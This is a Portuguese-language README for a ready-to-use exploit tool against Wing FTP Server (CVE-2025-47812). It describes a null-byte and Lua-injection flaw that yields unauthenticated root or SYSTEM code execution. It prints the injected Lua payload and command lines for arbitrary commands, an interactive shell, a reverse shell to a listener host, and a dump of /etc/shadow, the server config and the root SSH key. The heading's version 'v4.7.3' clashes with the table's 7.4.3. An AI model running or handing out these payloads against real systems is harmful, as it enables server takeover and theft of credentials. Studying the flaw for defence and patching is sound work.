
RCE para WingFTP v4.7.3
██╗ ██╗██╗███╗ ██╗ ██████╗ ███████╗████████╗██████╗
██║ ██║██║████╗ ██║██╔════╝ ██╔════╝╚══██╔══╝██╔══██╗
██║ █╗ ██║██║██╔██╗ ██║██║ ███╗ █████╗ ██║ ██████╔╝
██║███╗██║██║██║╚██╗██║██║ ██║ ██╔══╝ ██║ ██╔═══╝
╚███╔███╔╝██║██║ ╚████║╚██████╔╝ ██║ ██║ ██║
╚══╝╚══╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝
| Campo | Detalhe |
|---|---|
| CVE | CVE-2025-47812 |
| Afetado | Wing FTP Server <= 7.4.3 |
| Corrigido | Wing FTP Server 7.4.4 |
| CVSS | 10.0 (Crítico) |
| Autenticação necessária | Nenhuma (login anônimo é suficiente) |
| Privilégio obtido | root (Linux) / NT AUTHORITY\SYSTEM (Windows) |
| Descoberto por | Julien Ahrens (@MrTuxracer) — rcesecurity.com |
A interface web do Wing FTP Server é vulnerável a um ataque de execução remota de código em duas etapas, sem autenticação prévia.
A função c_CheckUser() no binário do Wing FTP usa strlen() internamente, que trunca a string de nome de usuário no primeiro byte nulo (\x00). Isso significa que um nome de usuário como anonymous%00<arbitrary_data> passa na autenticação desde que anonymous (ou qualquer usuário válido) exista.
Após o sucesso da autenticação, loginok.html chama rawset(_SESSION, "username", username) usando o parâmetro POST completo e sem sanitização — incluindo tudo após o byte nulo. A sessão é então serializada para um arquivo de script Lua no disco via SessionModule.save().
Como a função de serialização envolve valores de string em literais de string longa do Lua [[...]] sem qualquer sanitização, injetar ]] no nome de usuário encerra o literal de string prematuramente, permitindo que código Lua arbitrário seja anexado ao arquivo de sessão.
Estrutura do payload:
anonymous\x00]]
local h = io.popen("id")
local r = h:read("*a")
h:close()
print(r)
--
O -- final comenta o ]] que o Wing FTP anexa após o valor.
O arquivo de sessão (nomeado com base no valor do cookie UID) é um script Lua que é executado via loadfile() + f() sempre que qualquer endpoint autenticado é acessado. Enviar POST /dir.html com o cookie UID executa o Lua injetado e retorna a saída do comando no corpo da resposta, antes do conteúdo <?xml.
requests, urllib3pip install -r requirements.txt
usage: CVE-2025-47812 [-h] [-U USER] [-P PASS] [--vhost HOST] [--timeout N]
[--verify-ssl]
[--cmd CMD | --shell | --revshell | --dump]
[--lhost IP] [--lport PORT] [--listen]
target
# Single command
python3 CVE-2025-47812.py http://ftp.target.com --cmd "id"
python3 CVE-2025-47812.py http://ftp.target.com --cmd "cat /etc/passwd"
# Target by IP (Wing FTP uses virtual-host routing — supply hostname with --vhost)
python3 CVE-2025-47812.py http://10.10.10.10 --vhost ftp.target.com --cmd "id"
# Interactive pseudo-shell
python3 CVE-2025-47812.py http://ftp.target.com --shell
# Reverse shell (start nc listener separately)
python3 CVE-2025-47812.py http://ftp.target.com --revshell --lhost 10.10.14.5 --lport 4444
# Reverse shell with built-in listener
python3 CVE-2025-47812.py http://ftp.target.com --revshell --listen --lhost 10.10.14.5 --lport 4444
# Dump sensitive files (/etc/passwd, /etc/shadow, Wing.cfg, root SSH key)
python3 CVE-2025-47812.py http://ftp.target.com --dump
# With non-anonymous credentials
python3 CVE-2025-47812.py http://ftp.target.com -U ftpuser -P secret --cmd "whoami"
Atualize o Wing FTP Server para a versão 7.4.4 ou posterior.
Esta ferramenta é fornecida apenas para fins educacionais e testes de penetração autorizados. Executar este exploit contra sistemas que você não possui ou para os quais não tem permissão explícita por escrito para testar é ilegal e antiético. O autor não assume nenhuma responsabilidade por qualquer uso indevido.